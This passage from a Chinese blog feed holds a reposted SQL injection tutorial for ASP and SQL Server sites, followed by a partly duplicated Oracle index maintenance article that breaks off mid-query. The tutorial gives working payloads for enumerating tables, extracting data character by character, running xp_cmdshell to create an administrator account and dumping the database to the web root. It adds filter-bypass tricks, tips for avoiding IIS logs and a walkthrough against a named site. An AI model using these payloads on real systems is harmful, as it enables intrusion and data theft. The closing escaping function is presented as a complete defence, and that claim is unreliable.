user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 &#8221;abc&#8221; 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。<br><br>顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将&#8221;dbo&#8221;转换成int的列发生错误，而不是&#8221;sa&#8221;。 <br><br>如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示&#8220;没有权限&#8221;，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。<br><br>在确认可以<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的情况下，使用下面的语句：<br><br><a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a> and (select count(*) from sysobjects)&gt;0<br><a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a> and (select count(*) from msysobjects)&gt;0<br><br>如果数据库是SQLServer，那么第一个网址的页面与原页面<a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a>是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。<br><br>如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。<br><br>(入门篇完)<br>说明:使用NBSI-NB联盟<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>分析器可以检测出各种<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>漏洞并进行解码,提高猜解效率.<br><br>在入门篇，我们学会了ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的一般步骤：<br><br><br>第一节、ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的一般步骤<br><br>首先，判断环境，寻找<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>点，判断数据库类型，这在入门篇已经讲过了。<br><br>其次，根据<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>参数类型，在脑海中重构<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句的原貌，按参数类型主要分为下面三种：<br><br>(A) ID=49 这类<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的参数是数字型，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句原貌大致如下：<br>Select * from 表名 where 字段=49<br><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的参数为ID=49 And [查询条件]，即是生成语句：<br>Select * from 表名 where 字段=49 And [查询条件]<br><br><br>(B) Class=连续剧 这类<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的参数是字符型，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句原貌大致概如下：<br>Select * from 表名 where 字段=&#8217;连续剧&#8217; <br><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的参数为Class=连续剧&#8217; and [查询条件] and &#8216;&#8217;=&#8217; ，即是生成语句：<br>Select * from 表名 where 字段=&#8217;连续剧&#8217; and [查询条件] and &#8216;&#8217;=&#8217;&#8217;<br><br>(C) 搜索时没过滤参数的，如keyword=关键字，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句原貌大致如下：<br>Select * from 表名 where 字段like &#8217;%关键字%&#8217; <br><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的参数为keyword=&#8217; and [查询条件] and &#8216;%25&#8217;=&#8217;， 即是生成语句：<br>Select * from 表名 where字段like &#8217;%&#8217; and [查询条件] and &#8216;%&#8217;=&#8217;%&#8217;<br><br><br>接着，将查询条件替换成<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句，猜解表名，例如：<br><br>ID=49 And (Select Count(*) from Admin)&gt;=0<br><br>如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。<br><br>表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。<br><br>有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。<br><br>有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。<br><br><br>最后，在表名和列名猜解成功后，再使用<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。<br><br>我们举个<strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子</strong>，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：<br><br><a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a> ;;and (select top 1 len(username) from Admin)&gt;0<br><br>先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8<br><br>　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：<br><br>id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0<br><br>同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。<br><br><br>第二节、ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>常用函数<br><br>有<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语言基础的人，在ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>水平，特别是一些常用的函数及命令。<br><br>Access：asc(字符) SQLServer：unicode(字符)<br><br>作用：返回某字符的ASCII码<br><br><br>Access：chr(数字) SQLServer：nchar(数字)<br><br>作用：与asc相反，根据ASCII码返回字符<br><br><br>Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)<br><br>作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串<br><br><br>Access：abc(数字) SQLServer：abc (数字)<br><br>作用：返回数字的绝对值（在猜解汉字的时候会用到）<br><br><br>Access：A between B And C SQLServer：A between B And C<br><br>作用：判断A是否界于B与C之间 <br></span></td>
        </tr>
    </tbody>
</table>
<font size=2>在<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，&#8220;中文恐惧症&#8221;很快可以克服。<br><br>先说一点常识：<br><br>Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。<br><br>SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">对应</strong>的中文字符。<br><br>了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。<br><br>(进阶篇完)<br><br>看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。<br><br>第一节、利用系统表<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>SQLServer数据库<br><br>SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>者提供了一个跳板，我们先来看看几个具体的<strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子</strong>：<br><br>① </font><a href="http://site/url.asp?id=1" target=_blank><font color=#0000ff size=2><u>http://Site/url.asp?id=1</u></font></a><font size=2>;exec master..xp_cmdshell &#8220;net user name password /add&#8221;--<br><br>　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：<br><br>② </font><a href="http://site/url.asp?id=1" target=_blank><font color=#0000ff size=2><u>http://Site/url.asp?id=1</u></font></a><font size=2>;exec master..xp_cmdshell &#8220;net localgroup name administrators /add&#8221;--<br><br>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。<br><br>　　③ </font><a href="http://site/url.asp?id=1" target=_blank><font color=#0000ff size=2><u>http://Site/url.asp?id=1</u></font></a><font size=2> ;;and db_name()&gt;0<br><br>前面有个类似的<strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子</strong>and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。<br><br>④ </font><a href="http://site/url.asp?id=1" target=_blank><font color=#0000ff size=2><u>http://Site/url.asp?id=1</u></font></a><font size=2>;backup database 数据库名 to disk=&#8217;c:\inetpub\wwwroot\1.db&#8217;;--<br><br>这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。<br><br>　　⑤ </font><a href="http://site/url.asp?id=1" target=_blank><font color=#0000ff size=2><u>http://Site/url.asp?id=1</u></font></a><font size=2> ;;and (Select Top 1 name from sysobjects where xtype=&#8217;U&#8217; and status&gt;0)&gt;0<br><br>前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=&#8217;U&#8217; and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。<br><br>⑥ </font><a href="http://site/url.asp?id=1" target=_blank><font color=#0000ff size=2><u>http://Site/url.asp?id=1</u></font></a><font size=2> ;;and (Select Top 1 col_name(object_id(&#8216;表名&#8217;),1) from sysobjects)&gt;0<br><br>从⑤拿到表名后，用object_id(&#8216;表名&#8217;)获取表名<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">对应</strong>的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。<br><br>　　以上6点是我研究SQLServer<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。<br><br>第二节、绕过程序限制继续<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong><br><br>在入门篇提到，有很多人喜欢用&#8217;号测试<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>漏洞，所以也有很多人用过滤&#8217;号的方法来&#8220;防止&#8221;<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。<br><br>在&#8220;ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的一般步骤&#8221;一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在&#8220;利用系统表<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>SQLServer数据库&#8221;中，有些语句包含有&#8217;号，我们举个<strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子</strong>来看看怎么改造这些语句：<br><br>简单的如where xtype=&#8217;U&#8217;，字符U<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">对应</strong>的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=&#8217;用户&#8217;，可以用where name=nchar(29992)+nchar(25143)代替。<br><br>第三节、经验小结<br><br>1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。<br><br>2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。<br><br>3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。<br><br>4.用Get方法<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。<br><br>5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。<br><br>防 范 方 法<br><br>ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>漏洞可谓是&#8220;千里之堤，溃于蚁穴&#8221;，这种漏洞在网上极为普遍，通常是由于程序员对<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>Say NO，函数如下：<br><br><br>Function SafeRequest(ParaName,ParaType)<br>'--- 传入参数 ---<br>'ParaName:参数名称-字符型<br>'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)<br><br>Dim ParaValue<br>ParaValue=Request(ParaName)<br>If ParaType=1 then<br>If not isNumeric(ParaValue) then<br>Response.write "参数" &amp; ParaName &amp; "必须为数字型！"<br>Response.end<br>End if<br>Else<br>ParaValue=replace(ParaValue,"'","''"<br>End if<br>SafeRequest=ParaValue<br>End function<br><br>文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。</font><br>
<table style="TABLE-LAYOUT: fixed; FONT-SIZE: 10pt; WORD-BREAK: break-all" width="98%" align=center bgColor=#ffffff border=1>
    <tbody>
        <tr>
            <td>日志标题：<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的新技巧<br>发表时间：2005-2-19 8:25:00<br>
            <table cellSpacing=0 cellPadding=5 width="100%" border=0>
                <tbody>
                    <tr>
                        <td><font color=#18188c size=4><strong><a href="http://blog.77169.com/more.asp?name=Mrcool&amp;id=1362"><u><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong><font color=#0000ff>的新技巧</font></u></a></strong></font></td>
                    </tr>
                    <tr>
                        <td><span style="FONT-SIZE: 12px">表名和字段名的获得_适用情况:<br>1)数据库是MSSQL<br>2)连接数据库的只是普通用户<br>3)不知道ASP源代码<br><br>可以进行的攻击<br>1)对数据内容进行添加，查看，更改<br><br>实例:<br>本文件以<br><a href="http://www.dy/" target=_blank><u><font color=#0000ff>http://www.dy/</font></u></a>***.com/user/wantpws.asp<br>为列进行测试攻击。<br><br>第一步:<br>在输入用户名处输入单引号，显示<br>Microsoft OLE DB Provider for <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Server 错误 80040e14 <br>字符串 之前有未闭合的引号。 <br><br>/user/wantpws.asp，行63 <br><br>说明没有过滤单引号且数据库是MSSQL.<br><br>第二步:<br>输入a;use master;--<br>显示<br>Microsoft OLE DB Provider for <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Server 错误 80040e21 <br>多步 OLE DB 操作产生错误。如果可能，请检查每个 OLE DB 状态值。没有工作被完成。 <br><br>/user/wantpws.asp，行63 <br>这样说明没有权限了。<br><br>第三步:<br>输入:a or name like fff%;--<br>显示有一个叫ffff的用户哈。<br><br>第四步:<br>在用户名处输入<br>ffff and 1&lt;&gt;(select count(email) from [user]);--<br>显示:<br>Microsoft OLE DB Provider for <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Server 错误 80040e37 <br>对象名 user 无效。 <br><br>/user/wantpws.asp，行96 <br><br>说明没有叫user的表，换成users试试成功,同时说明有一个叫email的列.<br>(东方飘云的一个办法是输入a having 1=1--<br>一般返回如下也就可以直接得到表名和一个字段名了<br>Microsoft OLE DB Provider for <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Server 错误 80040e14 <br>列 users.ID 在选择列表中无效，因为该列未包含在聚合函数中，并且没有 GROUP BY 子句。 <br><br>/user/wantpws.asp，行63 <br><br><br>)<br><br>现在我们知道了ffff用户的密码是111111.<br><br>下面通过语句得到数据库中的所有表名和字段名。<br><br>第五步:<br>输入:<br>ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status&gt;0) where name=ffff;--<br>说明:<br>上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<br>通过查看ffff的用户资料可得第一个用表叫ad<br>然后根据表名ad得到这个表的ID<br>ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--<br>同上可知id是:581577110<br>由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了<br>象下面这样就可以得到第二个表的名字了<br>ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id&gt;581577110) where name=ffff;--<br><br>ad 581577110<br>users 597577167<br>buy 613577224<br>car 629577281<br>learning 645577338<br>log 661577395<br>movie 677577452<br>movieurl 693577509<br>password 709577566<br>type 725577623<br>talk<br><br>经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的<br><br>第六步:猜重要表的字段<br>输入:<br>现在就看看users表有哪些字段<br>ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--<br>得到第三个字段是password<br>ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--<br>得到第四个字段是name<br>最后users表的字段共28个全得到了<br>(注:另一个得到字段的办法,前提是系统的返回出错信息<br>a group by ID having 1=1--<br>得到<br>Microsoft OLE DB Provider for <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Server 错误 80040e14 <br>列 users.userid 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。 <br><br>/user/wantpws.asp，行63 <br>这个第二个字段就是userid<br>显示第三个字段。 <br>a group by id,userid having 1=1--<br><br>Microsoft OLE DB Provider for <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Server 错</span></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/19851985lili/aggbug/110318.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-13 08:00 <a href="http://www.blogjava.net/19851985lili/articles/110318.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>　　一. 查看系统表中的用户索引</title><link>http://www.blogjava.net/19851985lili/articles/102519.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Thu, 08 Mar 2007 00:45:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/102519.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/102519.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/102519.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/102519.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/102519.html</trackback:ping><description><![CDATA[在Oracle中，SYSTEM表是安装数据库时自动建立的，它包含数据库的全部数据字典，存储过程、包、函数和触发器的定义以及系统回滚段。<br /><br />　　一般来说，应该尽量避免在SYSTEM表中存储非SYSTEM用户的对象。因为这样会带来数据库维护和管理的很多问题。一旦SYSTEM表损坏了，只能重新生成数据库。我们可以用下面的语句来检查在SYSTEM表内有没有其他用户的索引存在。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td height="16">select count(*) <br />from dba_indexes<br />where tablespace_name = 'SYSTEM'<br />and owner not in ('SYS','SYSTEM')<br />/</td></tr></tbody></table><br />　　<b>二. 索引的存储情况检查</b><br /><br />　　Oracle为数据库中的所有数据分配逻辑结构空间。数据库空间的单位是数据块（block）、范围（extent）和段（segment）。<br /><br />　　Oracle数据块（block）是Oracle使用和分配的最小存储单位。它是由数据库建立时设置的DB_BLOCK_SIZE决定的。一旦数据库生成了，数据块的大小不能改变。要想改变只能重新建立数据库。（在Oracle9i中有一些不同，不过这不在本文讨论的范围内。）<br /><br />　　Extent是由一组连续的block组成的。一个或多个extent组成一个segment。当一个segment中的所有空间被用完时，Oracle为它分配一个新的extent。<br />　 <br />　　Segment是由一个或多个extent组成的。它包含某表空间中特定逻辑存储结构的所有数据。一个段中的extent可以是不连续的，甚至可以在不同的数据文件中。<br /><br />　　一个object只能对应于一个逻辑存储的segment，我们通过查看该segment中的extent，可以看出相应object的存储情况。<br /><br />　　（1）查看索引段中extent的数量：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select segment_name, count(*) <br />from dba_extents<br />where segment_type='INDEX'<br />and owner=UPPER('&amp;owner') <br />group by segment_name<br />/</td></tr></tbody></table><br />　　（2）查看表空间内的索引的扩展情况：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />substr(segment_name,1,20) "SEGMENT NAME",<br />bytes, <br />count(bytes) <br />from dba_extents <br />where segment_name in<br />( select index_name <br />from dba_indexes <br />where tablespace_name=UPPER('&amp;表空间'))<br />group by segment_name,bytes<br />order by segment_name<br />/</td></tr></tbody></table><br /><strong>三. 索引的选择性<br /><br /></strong>　　索引的选择性是指索引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表索引列有1980个不同的值，那么这个索引的选择性就是1980/2000=0.99。<br /><br />　　一个索引的选择性越接近于1，这个索引的效率就越高。<br /><br />　　如果是使用基于cost的最优化，优化器不应该使用选择性不好的索引。如果是使用基于rule的最优化，优化器在确定执行路径时不会考虑索引的选择性（除非是唯一性索引），并且不得不手工优化查询以避免使用非选择性的索引。<br /><br />　　确定索引的选择性，可以有两种方法：手工测量和自动测量。<br /><br />　　（1）手工测量索引的选择性<br /><br />　　如果要根据一个表的两列创建两列并置索引，可以用以下方法测量索引的选择性：<br /><br />　　列的选择性=不同值的数目/行的总数 /* 越接近1越好 */<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select count(distinct 第一列||'%'||第二列)/count(*)<br />from 表名<br />/</td></tr></tbody></table><br />　　如果我们知道其中一列索引的选择性（例如其中一列是主键），那么我们就可以知道另一列索引的选择性。<br /><br />　　手工方法的优点是在创建索引前就能评估索引的选择性。<br /><br />　　（2）自动测量索引的选择性<br /><br />　　如果分析一个表，也会自动分析所有表的索引。<br /><br />　　第一，为了确定一个表的确定性，就要分析表。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze table 表名 <br />compute statistics<br />/</td></tr></tbody></table><br />　　第二，确定索引里不同关键字的数目：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select distinct_keys<br />from user_indexes<br />where table_name='表名'<br />and index_name='索引名'<br />/</td></tr></tbody></table><br />　　第三，确定表中行的总数：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select num_rows<br />from user_tables<br />where table_name='表名'<br />/ </td></tr></tbody></table><br />　　第四，索引的选择性=索引里不同关键字的数目/表中行的总数：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select i.distinct_keys/t.num_rows<br />from<br />user_indexes i,<br />user_tables t<br />where i.table_name='表名'<br />and i.index_name='索引名'<br />and i.table_name=t.table_name<br />/</td></tr></tbody></table><br />　　第五，可以查询USER_TAB_COLUMNS以了解每个列的选择性。<br /><br />　　表中所有行在该列的不同值的数目：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />column_name,<br />num_distinct<br />from user_tab_columns<br />where table_name='表名'<br />/</td></tr></tbody></table><br />　　列的选择性=NUM_DISTINCT/表中所有行的总数，查询USER_TAB_COLUMNS有助测量每个列的选择性，但它并不能精确地测量列的并置组合的选择性。要想测量一组列的选择性，需要采用手工方法或者根据这组列创建一个索引并重新分析表。<br /><br />　　<b>四. 确定索引的实际碎片</b><br /><br />　　随着数据库的使用，不可避免地对基本表进行插入，更新和删除，这样导致叶子行在索引中被删除，使该索引产生碎片。插入删除越频繁的表，索引碎片的程度也越高。碎片的产生使访问和使用该索引的I/O成本增加。碎片较高的索引必须重建以保持最佳性能。<br /><br />　　（1）利用验证索引命令对索引进行验证。<br /><br />　　这将有价值的索引信息填入index_stats表。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>validate index 用户名.索引名<br />/</td></tr></tbody></table><br />　　（2）查询index_stats表以确定索引中删除的、未填满的叶子行的百分比。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />name,<br />del_lf_rows,<br />lf_rows,<br />round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"<br />from index_stats<br />/</td></tr></tbody></table><br />　　（3）如果索引的叶子行的碎片超过10%，考虑对索引进行重建。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index 用户名.索引名 rebuild<br />tablespace 表空间名<br />storage(initial 初始值 next 扩展值)<br />nologging<br />/</td></tr></tbody></table><br />　　（4）如果出于空间或其他考虑，不能重建索引，可以整理索引。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index用户名.索引名 coalesce<br />/</td></tr></tbody></table><br />　　（5）清除分析信息<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze index 用户名.索引名<br />delete statistics<br />/</td></tr></tbody></table><br /><strong>三. 索引的选择性<br /><br /></strong>　　索引的选择性是指索引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表索引列有1980个不同的值，那么这个索引的选择性就是1980/2000=0.99。<br /><br />　　一个索引的选择性越接近于1，这个索引的效率就越高。<br /><br />　　如果是使用基于cost的最优化，优化器不应该使用选择性不好的索引。如果是使用基于rule的最优化，优化器在确定执行路径时不会考虑索引的选择性（除非是唯一性索引），并且不得不手工优化查询以避免使用非选择性的索引。<br /><br />　　确定索引的选择性，可以有两种方法：手工测量和自动测量。<br /><br />　　（1）手工测量索引的选择性<br /><br />　　如果要根据一个表的两列创建两列并置索引，可以用以下方法测量索引的选择性：<br /><br />　　列的选择性=不同值的数目/行的总数 /* 越接近1越好 */<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select count(distinct 第一列||'%'||第二列)/count(*)<br />from 表名<br />/</td></tr></tbody></table><br />　　如果我们知道其中一列索引的选择性（例如其中一列是主键），那么我们就可以知道另一列索引的选择性。<br /><br />　　手工方法的优点是在创建索引前就能评估索引的选择性。<br /><br />　　（2）自动测量索引的选择性<br /><br />　　如果分析一个表，也会自动分析所有表的索引。<br /><br />　　第一，为了确定一个表的确定性，就要分析表。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze table 表名 <br />compute statistics<br />/</td></tr></tbody></table><br />　　第二，确定索引里不同关键字的数目：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select distinct_keys<br />from user_indexes<br />where table_name='表名'<br />and index_name='索引名'<br />/</td></tr></tbody></table><br />　　第三，确定表中行的总数：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select 